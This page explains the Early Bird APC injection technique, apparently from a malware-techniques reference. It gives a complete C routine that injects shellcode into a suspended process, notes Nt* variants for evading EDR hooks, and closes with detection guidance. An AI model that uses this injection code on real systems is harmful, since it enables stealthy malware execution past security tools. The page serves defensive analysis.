Skip to content

Early Bird APC Injection

Queues a user-mode APC to the main thread of a process created suspended, so the payload runs at the first alertable wait before the real entry point executes or EDR userland hooks settle.

Early Bird is a timing-sensitive variant of classic APC injection. Instead of queueing an asynchronous procedure call to a thread already running in a victim process, the malware spawns a brand-new process in a suspended state, queues the APC onto its main thread, and then resumes it. The freshly created thread begins its life inside ntdll!LdrInitializeThunk, which performs the loader work for the new image — and that path runs an alertable wait early, draining the APC queue before the EXE's WinMain/entry point is reached.

The value for an attacker is twofold. First, the payload executes before the real program logic, so the host process is still a clean, signed binary on disk with no suspicious threads of its own. Second — and the reason the technique was named "early bird" — many EDR products install their userland hooks (in ntdll.dll, kernelbase.dll, etc.) during or just after process initialization. Firing the APC at the very start of LdrInitializeThunk can win the race and run shellcode before those hooks are fully in place.

How it works

The operator creates a benign target (often RuntimeBroker.exe or svchost.exe), allocates and writes the shellcode, queues it as an APC against the suspended primary thread, and resumes:

c
#include <windows.h>

BOOL EarlyBird(LPCWSTR target, BYTE *sc, SIZE_T scLen)
{
    STARTUPINFOW si = { .cb = sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    // 1. Create the host process suspended — primary thread parked in LdrInitializeThunk
    if (!CreateProcessW(target, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return FALSE;

    // 2. Allocate executable memory in the new process and copy the payload
    LPVOID rmt = VirtualAllocEx(pi.hProcess, NULL, scLen,
                                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, rmt, sc, scLen, NULL);

    // 3. Queue the user-mode APC onto the suspended MAIN thread
    QueueUserAPC((PAPCFUNC)rmt, pi.hThread, 0);

    // 4. Resume — the loader runs an alertable wait early and drains the APC
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

Stealthier builds split the steps across NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtQueueApcThread to skip the hooked kernel32/Win32 wrappers, and flip the payload region from RW to RX with NtProtectVirtualMemory to avoid a tell-tale RWX allocation.

Detection & analysis

Static analysis: Disassemble and look for the signature ordering of CreateProcessW/CreateProcessA with the CREATE_SUSPENDED flag (0x00000004) immediately followed by VirtualAllocEx, WriteProcessMemory, QueueUserAPC (or NtQueueApcThread), and ResumeThread. CAPA rules covering "spawn suspended process" plus "queue APC" co-occurring in one sample are a strong indicator. The absence of any CreateRemoteThread distinguishes it from thread-injection families.

Dynamic analysis: Under a debugger or API Monitor, set breakpoints on NtQueueApcThread and NtResumeThread and confirm the APC routine pointer lands in a freshly allocated executable region of a process you just created. In a sandbox, the child process tree showing a signed binary spawned suspended with no command line, then immediately resumed, is suspicious. Compare against ETW Microsoft-Windows-Threat-Intelligence, which surfaces NtQueueApcThreadEx and cross-process memory writes against the new process before it has done any work.

Detection rule hint: Alert when a process is created with CREATE_SUSPENDED and, before its first module-load events complete, the same parent writes executable memory into it and calls QueueUserAPC/NtQueueApcThread against the primary (TID == process creation thread) thread. Correlate the suspended-create to-resume window with an injected APC target address that is not backed by any mapped image (MITRE T1055.004).

Votes

Comments(0)